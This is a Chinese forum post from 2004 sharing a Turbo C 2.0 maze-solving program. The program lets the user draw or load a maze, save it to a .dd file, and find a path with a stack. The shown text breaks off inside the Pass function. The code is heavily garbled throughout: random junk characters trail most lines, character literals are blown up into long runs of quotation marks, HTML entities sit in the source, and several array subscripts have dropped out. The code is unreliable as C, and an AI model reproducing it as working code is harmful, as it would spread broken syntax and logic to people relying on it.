QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7587|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>7 |0 C. v4 m" `& z4 I4 H8 T$ O
< align=left>程序目的:
' Y# N, I6 E/ m+ H输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并
( {. M8 m0 x+ }显示在屏幕上。( g7 M6 `' q0 `' k. A  J( a/ s
程序实现:
% E2 l" O8 V9 q+ m: C1 f可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的. n5 d/ n: o0 [+ o6 j$ g
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
& M: a; P% q6 ]入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫4 V, U, j0 F/ o1 H: X3 g
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
- p6 H) _1 w0 a9 z6 ~" r否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
; n. R, \6 B! Q" b8 [& ~0 `) D用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以3 M4 Z- [1 d- f
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,
/ g0 f: A( X- _) f找到路径时,屏幕下方会出现Path found,否则出现Path not found。9 Y4 y0 B* q& Y$ N$ I; |
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
/ V, O+ U) A8 v$ d0 O不可以在VC上编译。. e2 l# z7 O5 z: ~0 ?9 }: ~
下载DOS版和windows版的迷宫游戏全部代码7 G: N6 i3 E: H: C. `5 i
用户名:migong
8 R, c- P% d0 \; P' c0 n----------------------------------------------------------------------------------# O2 b) o. N7 c& H
/*0 N! X% A  ]1 ?" E$ ]% @7 F
MazePath Demo BY Turbo C 2.0) b$ a4 P9 X2 L0 x
Copyright(c) RoverUnion. All right reserved.- c) e/ w4 R& H# ~! n% N
Filename: Maze.c
; H7 _' ]. t, u) A, V) yAuthor Dongchengyu.8 S$ `- E1 L3 W, H% ^. ]
Ver 1.105 Q. F$ \$ m/ x
*/
/ N" h$ Z5 l2 h: v% B' k#include &lt;stdio.h&gt;. B& ?5 F4 p# P) P: c6 \
#include &lt;stdlib.h&gt;
( f# v4 Q# s( P" Z! w#include &lt;malloc.h&gt;& x4 E+ g; G2 L( F4 N( ?- B+ w
#include &lt;conio.h&gt;, R. |, D5 V# d5 A  O+ F7 c
#include &lt;dos.h&gt;
! \$ i) c& W, o2 s0 e1 z% o& M7 p/ n#define OK 1( R6 n- c4 \* D! D
#define ERROR 0: }% g! w4 b& H4 y" f
#define TRUE 1' D+ A& x  P: H0 V0 }! E2 M- V8 U
#define FALSE 0
+ V8 Q: T+ N1 j. u) b% ?, E#define F9 0x43. A- s9 Y. J7 F
#define Esc 0x1b6 m' D8 t: X. y( B
#define Del 0x53
) L9 u1 v9 P+ G. g: L#define Home 0x47& c, _, y5 O3 Q
#define End 0x4f
6 p3 U- S; Z- r  G9 u8 g#define Space 0x205 Z$ q3 Y! z: V, P2 z5 O
#define Up 0x48
9 y& [2 O; l/ i* m8 U% M( z# S#define Down 0x50
0 X* {- G6 u& t/ V#define Left 0x4b+ y3 B+ T9 p( d3 _+ G5 ?, [
#define Right 0x4d
  H/ J* U6 B% L: Z! x# F' x/ Q#define Enter 0x0d+ `1 U" y; U% Z1 s. p$ V, c
#define F2 0x3c  m/ d+ I  ~+ m. Q, x
#define F3 0x3d$ q; @- u; ~/ y" m6 h) W$ p
#define STACK_INIT_SIZE 200
6 L$ l! J7 l* A#define STACKINCREMENT 10( T; `! H+ F9 ^) V$ R
typedef int Boolean;3 x8 |1 k; C; E5 l1 t
typedef int Status;$ }) E1 r& v5 E  s- e5 w
typedef struct {
; u  |  L9 K* T) j+ Jint x;# \% i! }) V8 Q9 Z; o* c% {
int y;
( f" k; ]1 ^- e} PosType;
$ E* ?3 ]6 q9 I+ L2 ?typedef struct {
6 J# z2 Z3 \2 mint ord;9 ~5 `! ?$ N, F8 L+ L% h
PosType seat;
. B0 ?* D% \. L! ^4 K5 C4 h# cint di;3 S) F( O+ x$ Z: y" ~
} SElemType;
* O( x6 ]% p: ^$ r) itypedef struct {
' u! ?6 _% U: k# x/ Pint td;5 }: w9 ]+ K4 I
int foot;0 ]* F( f2 S" U( A' p
int mark;
; ]8 z5 ^$ |/ o& h} MazeType;' s" W3 M' F! }% M$ x
typedef struct {' H+ g& r! ~9 l
SElemType *base;) c+ p8 V& f$ {5 a2 e* D2 x. l" [/ @
SElemType *top;
2 t9 B; P0 i1 B1 A7 o2 Wint stacksize;( ^8 X" `3 p* o7 z. t7 k# ~! h
} Stack;
) q4 G9 ~# W5 W" @: U/ Jint Maze[20][30];
, q" v- ?0 B: `+ _+ Q* d" x% rMazeType maze[20][30];! ]6 |# a/ c' `) T, ~3 ?
PosType StartPlace;
( {. V( S8 P* N0 W# d! gPosType EndPlace;
1 @0 \0 L9 W6 Y4 Sint count;. U- H& K$ K) q7 ]2 x
int m,n;
' _3 F# {+ J; ABoolean b_start=FALSE,b_end=FALSE;+ A( I2 t9 \' `: ]% G3 j
void CreatMaze(void);1 _3 o/ P2 e2 Y, r# l# H6 P
Status SaveMaze(char *filename);
* W1 z0 I/ r7 s3 g2 m) UStatus LoadMaze(char *filename);9 Y6 c; p4 v4 J% d, x2 t1 Q
void Error(char *message);
: ~, m0 O7 X/ k( ^/ |0 M& w; AStatus InitStack(Stack *s);
% x  Y1 @" f7 p; ^9 iStatus DestroyStack(Stack *s);
! o+ W/ R+ f! P, rStatus ClearStack(Stack *s);8 J/ Y: n: ]1 X
Boolean StackEmpty(Stack *s);
& Q2 O( u1 ~0 ~8 r9 q! s* n% Nint StackLength(Stack *s);
. K5 C8 [' o( m- W' RStatus Push(Stack *s,SElemType e);% W+ y% ~9 Z: B4 S+ a/ l
SElemType Pop(Stack *s,SElemType e);7 r* v+ e* ?4 u' A) s- w5 Y+ N
Status GetTop(Stack *s,SElemType *e);
4 d. {0 C1 W& }, r! u& L% SStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));: s  n. \. x  r) m# G; [& g
Boolean Pass(PosType curpos);0 l4 T8 R/ j3 Z5 C9 j! ?  a1 R
void MarkPrint(PosType seat);. i- S, k3 j! s) b, B( Q
void FootPrint(PosType curpos);
% w: J! Y5 u- |2 s0 j* NPosType NextPos(PosType seat,int di);/ L6 l" h0 L3 q$ u8 S" E5 n
Status MazePath(PosType start,PosType end);
0 W) p; ^& w9 a. c: ~  S9 `8 yvoid CreatMaze(void)9 e, j' L% y% D/ Y5 r7 j
/* Form the maze. */
% S: {3 h- F5 I! y6 }{
# q' e) j0 N- L! m  z) Lvoid Error(char *message);
( d; }. Z  r! b& j8 J) CStatus SaveMaze(char *filename);
, X) l# y+ g5 \9 c6 T/ g$ iStatus LoadMaze(char *filename);- _# h- B) R" j3 C
int i,j;- `" V4 N% i8 X
int x,y;: H  Z: K  b1 Y1 z! C8 q/ O
char c;; ]1 V4 _: C2 X& Z( |$ D
char savename[12],loadname[12];" N% X- Z* L  B6 b! N, V
Boolean flag=FALSE,load=FALSE;
5 C, R7 b( V8 M$ Lclrscr();! }. {" |- H7 _3 R3 F5 H
printf("Menu:\n\n");
6 |! U, q/ w7 ^+ X, h7 s3 j+ O/ Sprintf("1.Load Mazefile*.dd)\n\n");
; m/ n4 `8 E/ [  _, nprintf("2.Input Maze:\n\n");
/ P. h" n% f" }' h. X. Q! s  J, pprintf("Input your choice: ");$ Q4 f5 F4 }) r6 g
do( i8 V% p0 H) E: ]9 e
{
2 N( c% ^3 E% N' Tc=getch();6 P, p" H. \0 H/ J0 l8 K: ?2 D
switch(c)" ^7 P) }3 Z2 F" `, s0 P$ h
{
5 C. `8 v/ |' R/ {6 ocase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;# C# E5 b, }* N' Q, I# U
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
8 k: d) ]. q/ y4 B" C3 lcase Esc: sleep(1); exit(1);: j3 H) [( q& {/ ]. b1 Z3 [
default: break;
3 c6 m1 v7 D+ w/ U}$ A- {3 D6 F0 p. L& {9 d
}5 C& S- t* j/ l
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;9 Y- P; b0 b. ~4 c% V/ ?# ?0 O
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')3 Z% W: J8 U! k, t
{
% t5 u; b6 j& j; D  Tprintf("\n\nLoadName: ");1 u: d+ T$ m* n% Z8 [" ]0 Y
scanf("%s",loadname);% v5 O, x( {  h8 g( n; I; q' a
if(LoadMaze(loadname))
# x8 G1 t5 h3 Z# `* t; n  E6 l{  ?# `$ H0 l: Y. B8 Z
sleep(1); load=TRUE;
* ^3 I( M$ R5 ]& }4 V3 P$ Q8 R. _4 M3 |}8 G  ?- N1 m: Y( V4 M3 t: X
else { gotoxy(1,9); printf("Load fail! "); }, W( c( P0 F- M; J0 q( ^0 N6 `0 `0 Z
}
: }9 J  C1 x+ t) D/ b! ], Y/ J2 Lif(!load)' ^# s" z5 x' r/ B' B6 w' L
{9 T! |- o/ ^, m" E5 B, \: g
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");" m: U( k5 h6 K+ o% w" n& d
printf("\nInput Length :\n");
* \6 r4 S! j- x6 a' G# m5 H) Iscanf("%d",&amp;m);6 _7 P* F" s3 Z" J/ p" ^0 J
printf("\nInput Width :\n");
/ B2 G8 n5 E+ i% E! E3 e, J) Xscanf("%d",&amp;n);
- b& P5 F& J, t0 m2 Rif(m&lt;4||n&lt;4) Error("Input");
4 P* {8 d& ]0 \: _2 d! y* Mif(m&gt;30||n&gt;20) Error("Maze too large");
0 r" w! y* N1 t& G; V( C  n; Rfor(i=0;i&lt;30;i++)& F' U/ s+ h+ A1 x4 L; {
for(j=0;j&lt;20;j++)
/ h3 k0 b" A. `; z4 H* L) AMaze[j]=2;
& a5 c5 o" h2 Z& o  x) i4 Z, DStartPlace.x=0;9 z/ H1 q- i# {. _* q* z6 C
StartPlace.y=0;
2 @; G/ w$ X0 I. j( x( T9 jEndPlace.x=0;
/ _1 h+ T+ I- K$ MEndPlace.y=0;+ e% `9 E% ~* m
clrscr();  M' @! l% |& ^) `; B8 c
printf("\n");
7 W3 t8 @4 ^+ z' O% j, `for(i=1;i&lt;=n;i++)
* S; h) c* C9 ?. C, l{
, f. Y. Q9 \: [$ q' kfor(j=1;j&lt;=m;j++)
% n( [+ T3 W, Z, J{) @, K6 B/ m8 \% C
printf(" #");- s. w6 H: p9 }# F: F7 `" t( y. D
Maze[i-1][j-1]=0;* i6 z- s2 \+ w1 ^( k1 {
}7 _# e& X4 h. w) Q) ?/ e/ R7 V; s* g
printf("\n");5 @4 g$ m6 b4 g" ^
}
) F3 r( f- t% S8 d$ c}( N5 s8 g- V* t1 a" z' o
gotoxy(65,5);
* L9 I3 S  p/ e0 |2 aprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
, x3 H) D$ ~) W, R2 Sgotoxy(65,7);
; h: M2 u3 d) _) V  R( n" gprintf("Start:Home");% a, a. |% \# G
gotoxy(65,9);) y. g$ n& L2 U8 P$ I1 D
printf("End:End");8 n1 W- v; I9 z$ ^7 ~
gotoxy(65,11);) U5 `& P+ K" O# ~$ L/ W
printf("Delete Wallel");& \4 f8 R# c- q& m
gotoxy(65,13);
4 o5 t5 r) B* D7 V/ J  ?printf("Enter Wall:Enter");
) U' r1 z& h0 w7 }2 ^4 N& a: _gotoxy(65,15);
) J* j2 K* z$ Kprintf("Save Maze:F2");" [8 M$ _( ]; b4 v. {9 ?- o( q$ }
gotoxy(65,17);4 F+ P& R' m9 o
printf("Complete:F9");
: Z8 R) c2 j* P  L% Hgotoxy(65,19);* s6 Q* z3 M, p. D+ {: Q' T
printf("Exit:Esc");' l" Z2 X6 i& I+ E. ?8 m5 u  y
gotoxy(4,3);
) s& M  l+ E  Dx=4;y=3;  R+ ?$ z. [* j! k1 G) t
do
6 g8 D' l% H3 ?  F7 k{
9 N! R- h  M! \0 Qc=getch();9 l# H4 n3 e) }- l# m* q$ n
switch(c)8 U' z* ^3 C) R
{
" J6 I3 B0 ^1 acase Up: if(y&gt;3) { y--; gotoxy(x,y); }
0 X6 M2 u4 {! s& g- W2 Rbreak;
& b% H4 h- W' i! |9 Wcase Down: if(y&lt;n) { y++; gotoxy(x,y); }. F5 A. h6 M; H: \
break;
  ]* \7 ]1 E( R' P4 h1 Ncase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
1 M" o! Q) [4 Z$ @  q) X" r- V% vbreak;
* i, D, `2 H2 o  B* X# T% V/ ]case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
2 N- [. Y! f/ t3 Jbreak;1 d+ C5 c/ v* R' Y
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;' F9 L, U* Z* L2 a7 N% O; s# P2 G
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;+ h( _' \- g# S7 \2 l% ~  d4 S. E: f
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);6 x6 Q4 Z0 W) x, C
break;# j9 G0 A. t& G$ V
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;0 s' w# q, {7 r$ ?
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
7 c% F# a% v, H" f3 x( j6 n/ Uputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);$ x: U" M) Q; {: o+ ]4 K5 _2 n2 w8 K
break;/ d) H4 C, T  t% J+ m4 N9 B
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)8 j5 M0 h1 c/ X' I! K" h9 N
{9 n9 h, o& R5 f$ {9 W6 ~2 x
StartPlace.x=x/2-1;1 H% ]' l* m+ P% W
StartPlace.y=y-2;
/ \/ G4 U4 K* f- ?) k4 Z4 Y( d& [putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
, w* j, J/ ^5 s0 f- S" F  ^% xgotoxy(x,y);
8 H: a. C! H, p2 Z6 r' tb_start=TRUE;7 c: A' |  J! M# K- F" z4 t) O0 ~
}1 {  K' O) W0 z6 y- L3 k6 c, Y% X
break;( V. U) N  t$ I9 b2 `
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
2 y/ ?6 v# L4 ~$ ]/ ^# O{0 U( c# ?7 m, l. L5 ~8 b
EndPlace.x=x/2-1;
( p2 G7 }$ b( L5 aEndPlace.y=y-2;
3 c  B5 Z; z4 j9 d, j9 Xputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');- z# `1 L: T. G" }$ F  E
gotoxy(x,y);, ?" g1 r0 B. y: L
b_end=TRUE;
1 J# G8 p* S3 d2 {* c4 F5 W! s- S) A. x}
8 Z6 E# p8 i* x# v9 _7 ^3 zbreak;
+ Y2 j  M$ N9 Ecase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);3 P' g/ i7 W  P$ F  S: @# n
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
8 i0 M  u! Z' v4 Hcase F2: gotoxy(2,22);
9 [* }6 d: f+ m9 }$ tprintf("Savename:");' D* H% V, W0 T
scanf("%s",savename);
# _1 r. e2 J9 y$ G/ ~4 j0 xgotoxy(2,22);1 F$ n( I+ o) p1 \& d0 M
if(SaveMaze(savename)) printf("Save OK! ");
1 D7 e% K: r9 uelse printf("Save fail! ");: i1 O  d- H: \4 V- _
sleep(1);! c- N( n: w: v5 j
gotoxy(2,22);3 ~8 D7 W& n9 \, l+ d. o/ X1 |
printf(" ");
! P/ h+ k5 {; B) v0 O  O% qgotoxy(x,y);
2 E/ Q$ {* @9 ]. H3 d) ]" S* \) Abreak;
( V: `; _" c/ j9 E5 q( F" _default: break;# k1 x5 G8 k" r3 e1 ~! L" x  d
}+ z+ o0 A! b3 F
}
. `# m# r0 [; w# [0 S% V  p: S4 p5 Z6 Xwhile(!flag);  L1 J5 d5 E5 @
for(i=0;i&lt;30;i++)# ]8 u! T( F  |+ k3 U; d
for(j=0;j&lt;20;j++)
  A* R' G/ c" a5 T{
3 ~3 g$ U  U' |maze[j].td=Maze[j];
! r9 k* p' g5 L' G, Tmaze[j].mark=0;; y# Y8 g+ u- U& V
maze[j].foot=0;; O  N8 M* [, i& e( W% O
}
/ J! n$ |5 d1 \3 _( c" d/ \5 M}
$ `# W* S+ X! j; e4 r+ A* UStatus LoadMaze(char *file)% K8 `5 M. x' ~& z# F$ \
/* The maze has been loaded. */
+ N0 {& w1 s6 _+ ~3 b/ b/ p% f2 Y{
4 g4 X* Z9 j: m$ ]( ?' _  |; PFILE *fp;
( O/ p, |4 w& A8 t0 g$ pchar *buffer;) `6 l' m5 n' t
char ch;* J& C0 f* `8 x4 I$ E5 @; x- X
int i=0,j,k;5 D, o4 U( P9 f2 e
Boolean len=FALSE,wid=FALSE;( [0 c  b" b$ J6 a% Y& j" F4 s
if((fp=fopen(file,"r"))==NULL)
& H/ _- u4 n+ R$ K8 Xreturn ERROR;
. A# V6 Q4 S; sbuffer=(char *)malloc(600*sizeof(char));
' h" F) B# B4 uch=fgetc(fp);- ?. U0 Z' n6 J' q* o+ T6 ]
while(ch!=EOF)" p  Q" f! g( {* x
{; E; ^6 e' F) A  h, S4 O
buffer=ch;' t1 y2 ?) j; N" K$ w
i++;' F$ b/ ]& |! u# _
ch=fgetc(fp);
, O+ s8 }, z  ]. n* ~3 n& a/ b}
$ T* A5 G8 ^& ]1 ?  g/ sm=30;n=20;
2 v5 h1 f5 d  g! [2 v. \5 Gfor(i=0;i&lt;600;i++)& s' ]" G9 r3 e$ ]
{
# i% y/ |: g7 O& k* tj=i/30; k=i%30;4 f' Y5 A8 }6 W. ^3 [& `- E
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }: v& P3 H( u( J
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
8 ]- t# z. Q& R. J, P3 Q, Sswitch(buffer). l/ D" g- n" z* @8 A
{5 M6 \+ f4 X( d% d9 K$ u
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
' U& x- N2 S% Wcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
: ]* f* o8 c8 z  q* z) tcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;& k: {5 |2 h6 H6 @  X3 Q
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;5 I' Y9 k# F6 g8 t, s' q: l* ]
StartPlace.x=k;
0 v4 V5 l/ p9 l7 Q! L9 Z/ gStartPlace.y=j;
9 P* ]: v; \$ a2 @/ a( hb_start=TRUE;1 f" z1 m3 J7 j
break;, W: r3 a0 F$ q6 N) X* A$ R3 `
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
. a. X  W5 v4 p6 _6 y- \% _EndPlace.x=k;+ z; z6 {/ _' s2 W
EndPlace.y=j;
7 }8 s$ B  H( J* Q' i' `4 j1 [, kb_end=TRUE;
7 \8 p& k0 [7 P0 ]% C1 |break;
5 G  r& I. D* S, V5 L/ }default : break;( i3 R" h; F* [$ c
}
9 g  _- t) Y5 l1 f6 m}0 l. ?# S. k- V  h
fclose(fp);
  R8 j) |6 u" T9 V0 p: Xclrscr();
8 q  b7 {) Z/ J, D( yfor(i=0;i&lt;30;i++)
. Y+ O4 z' J8 @9 g! ~for(j=0;j&lt;20;j++)
! ^9 m) b; \  a# R$ M) p  X{3 T4 J4 t, P1 t: A  B$ T
maze[j].td=Maze[j];5 G7 p3 K/ U0 V/ C
maze[j].foot=0;
7 X' [, E& s1 z7 v7 Imaze[j].mark=0;
$ c  `3 B& R6 z8 b$ tif(Maze[j]==0)( P6 B8 L$ }# x7 }; T; _
{
# M% {. f5 O/ I1 R( n% Egotoxy(2*i+2,j+2);
- W# ?4 B  L* n6 Q6 j) cputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
- i0 B! Z* Y- X% ]1 }9 i}
5 G. e! W/ f+ t3 m$ R" k}! u9 h3 N1 V2 i7 ~7 A) `
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
9 j! n( K, ?& Z) {2 dputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
5 X  U, v# y# Ogotoxy(2*EndPlace.x+2,EndPlace.y+2);9 _! n7 e/ k$ A; s8 b" B
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
3 I3 O% ~/ u5 b0 areturn OK;
5 T9 U: v# v$ K$ q, g1 B9 [}
8 `" R$ B2 X2 d# L' ZStatus SaveMaze(char *filename)6 a; ^, H0 C* H5 E* ]
/* The maze has been saved. */6 `  O" @4 m' c3 C  G5 U
{4 U/ H0 j! l, K+ ]. m( T4 j
FILE *fp;
4 x, n. C( k8 I4 l- H0 j) Bchar *buffer;
# r# l$ V% f9 ?$ H6 e+ @int i,j,k;
9 }0 ^6 b* f2 Z0 J+ x; }fp=fopen(filename,"wb");- A, `0 n. W% |
buffer=(char *)malloc(600*sizeof(char));* i5 c8 i. K! a# \
for(i=0;i&lt;600;i++)
$ z1 Y- D6 N! B  f" M! s& B7 @; D{
# b% H# g: s3 W3 u; u( K- H) _j=i/30; k=i%30;
8 D# P# b3 b7 L( S+ Fswitch(Maze[j][k])
! U0 t9 V  ]' d2 L{& @7 i1 @4 [% b( G
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;! z( G$ H9 h2 h8 K
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
9 G3 Z" u% H5 `% U6 I* b# ocase 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
$ F1 L+ q  `+ l  Gdefault : Error("Write"); break;; [1 ?! b4 O5 m7 `$ A% i* x0 d
}
7 d) x5 e0 _- bif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
& M4 I" U% C; J6 N' ]if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';" W- y0 E& |5 M. ^* ^/ r) i& f
}3 H. o- ^  B9 ~$ z: C
fwrite(buffer,600,1,fp);7 ?  K, |; R8 b
free(buffer);3 k- J* W4 p0 z, J6 p  r6 P
fclose(fp);
4 E( D9 c: E+ `4 W3 i0 I1 o" Oreturn OK;( i0 K5 z+ p: Q4 m( @5 @, C
}
0 b1 {8 X4 H& f+ `void Error(char *message)
0 h2 w) w" X" e; u6 \  ]' n{& ]" v# s5 f" d' s2 x) L7 n2 C" C# I. V
clrscr();4 t! O! |- N0 Q" i% ~& l  j. F, l
fprintf(stderr,"Error:%s\n",message);
$ r8 P7 N8 E- P  V5 f2 ^7 Uexit(1);% ^6 T2 ?" |- d0 Y
} /* Error */! j$ ?) H# E4 b. m  a& q% {5 p/ T

  g0 H# P) l% X% H* EStatus InitStack(Stack *s)
* q( Q# ^* P) m, X/* The stack s has been created and is initialized to be empty. */+ d  u0 V( _; G; f
{
2 i8 g' R2 m/ A! Q* c: Z) \s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));) s) F: X# _$ J2 a; k
if(!s-&gt;base) Error("Overflow");
8 q' r; z2 o) J' H4 o1 A$ [s-&gt;top=s-&gt;base;
5 A+ S5 g' l0 b( |- c  p( p! hs-&gt;stacksize=STACK_INIT_SIZE;- w1 ?3 M7 {7 f/ E% [2 m! `' U$ e
return OK;- n0 y' O- v. ]; s
} /* InitStack */4 n. Y2 h( X; B6 J  U* M6 @
Status DestroyStack(Stack *s)
# A4 _5 l- H# v) J& s) K/* The stack s has been destroyed. */
+ I- F2 l. D+ m" A0 h{, I+ E9 W. i2 _2 v  g9 A
s-&gt;top=NULL;
/ o1 S' y+ g/ u) D( M( [s-&gt;stacksize=0;/ a" X5 V5 P& {/ a
free(s-&gt;base);; b; j" o8 z# {0 e+ ^4 S
s-&gt;base=NULL;
/ c  C: |7 T- o$ y/ o5 Y! M  c5 ?return OK;( _1 `: o* x+ v' E8 r
} /* DestroyStack */- ?3 {4 _; m) R
Status ClearStack(Stack *s)
  h! e% r; t( X+ z1 r0 c6 _7 \2 V: k/* The stack has been clear to be maximum. */$ g* Z0 _6 t& y( o- |
{; }. j% i( D7 w# r' F; G
s-&gt;top=s-&gt;base;8 ~' v0 K% s' L; v
s-&gt;stacksize=STACK_INIT_SIZE;4 I, I* a' Y/ F8 g: w$ D( A
return OK;8 k1 a# L9 L9 V; ~1 m: d
} /* ClearStack */* v1 U1 t: A9 |" |- T! V4 s
Boolean StackEmpty(Stack *s)3 Z# z+ d; q7 M" y# ?
/* Check if the stack s is empty. */- e; }' E! }$ o4 K0 m2 V
{6 D9 \& N$ `6 p/ m, ?, b1 @
if(s-&gt;top==s-&gt;base) return TRUE;
  m; V4 `3 z7 Zelse return FALSE;
% f$ o9 G- c6 j" B" x& d. Q* m# }} /* StackEmpty */- z, N2 t# ]6 s" \+ Z# v
int StackLength(Stack *s)
! g) A9 d% \% C: u/* Gain the length of the stack s. */
/ V; X9 R8 B: @  B; y* D{7 s* G# [* H' C4 o: U1 Q
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);$ P1 k7 ^. t) |$ X$ s2 g
else return 0;
* f& l. _" \9 P! f& \% E} /* StackLength */+ V" z0 Z1 C% T. D
Status Push(Stack *s,SElemType e)
; l; y; ~/ z5 ?9 D0 t  j/* The element e has been pushed into the stack s. */1 p+ @* J+ {  S1 U
{# ~9 |1 C, Q$ A: d
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
' }# e( \4 w# u' p/ z. t{$ u2 ], r4 g( `* i+ @0 f
s-&gt;base=(SElemType *)realloc(s-&gt;base,
, o1 M* W1 ]9 w% P(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));. T  [8 A6 F2 O4 z
if(!s-&gt;base) Error("Overflow");8 j+ X) O3 X2 e# K% G$ m( r
s-&gt;top=s-&gt;base+s-&gt;stacksize;
6 x0 B$ L1 Q) @' P- J' i" X* Z& Bs-&gt;stacksize+=STACKINCREMENT;5 N" x# t1 R8 R1 D$ S3 t, b
}7 o! E+ J4 N( r* t- R& d
*s-&gt;top++=e;
' e2 Z1 x! ~5 C# J" Y5 creturn OK;
# e, O7 m6 ^3 ^7 I6 m; L} /* Push */
1 m( ?' T. f/ R$ U3 SSElemType Pop(Stack *s,SElemType e)
% V: q5 P" ^0 `, ?/* The element e has been removed from the stack s. */  `# ~! e8 }9 ~! O$ ~' a3 U
{
/ `" m) X$ |1 Oif(s-&gt;top==s-&gt;base) Error("op");
9 B  B6 C  q. D0 m2 Q& v) i. n' |" ge=*--s-&gt;top;
- W3 {+ M! k: U! Vreturn e;$ g. G! t4 M  ~! g, B5 g/ a
} /* Pop */
- x" I" O7 j8 G& bStatus GetTop(Stack *s,SElemType *e)
* X5 f7 ~% b. m- `% Z& s8 _/* The element e has got to the top of the stack s.*/
# p5 Z9 A9 f% ?' ^{" I$ {4 E. D6 y+ n0 k4 ~, L+ x
if(s-&gt;top==s-&gt;base) Error("GetTop");" o9 ?# W8 u, B( @3 q, V0 n
*e=*(s-&gt;top-1);
4 e7 J/ j8 z  H6 ~# q+ Zreturn OK;
' w8 G, }: U+ N: Y& c  `  P1 d} /* GetTop */, F2 d5 u! w8 s6 U
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */2 w3 M% G! j* P+ A* X) r4 l
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
* S, B. C- \3 O. `' `9 q3 X{
! J" |& x* S5 LSElemType p;
" M) j1 G8 y9 r9 A- q1 X. t: f4 mint result;
1 i4 B2 @7 ^1 m* y  l  r) C; dif(s-&gt;top==s-&gt;base) return ERROR;$ W2 Y5 X8 g% e
p=s-&gt;base;) E; y& Y- @8 H- I2 y: `4 h
while(!(p==s-&gt;top)), t. Y8 s1 ^2 X$ C$ l
{
& _9 r* S# b# m3 \& F) s. P( O$ G( Gresult=(*visit)(p);4 \5 |! c7 j+ a2 T& B
p++;) U7 S- m3 F( a  F, g& r% i
}3 ?% Z/ n& l5 e. \
return OK;
+ c9 h8 V+ X" x" p& [2 z0 K} */: d+ m, i( ^4 ]' v7 k" C& u
Boolean Pass(PosType curpos)
% `: O% x( M3 e8 D! t/ o/* Check if the current position can be passed. */
- A, |# m# X. \- t: i  J{
7 M1 `6 ]+ l) w; tif(maze[curpos.x][curpos.y].td==1&amp;&amp;
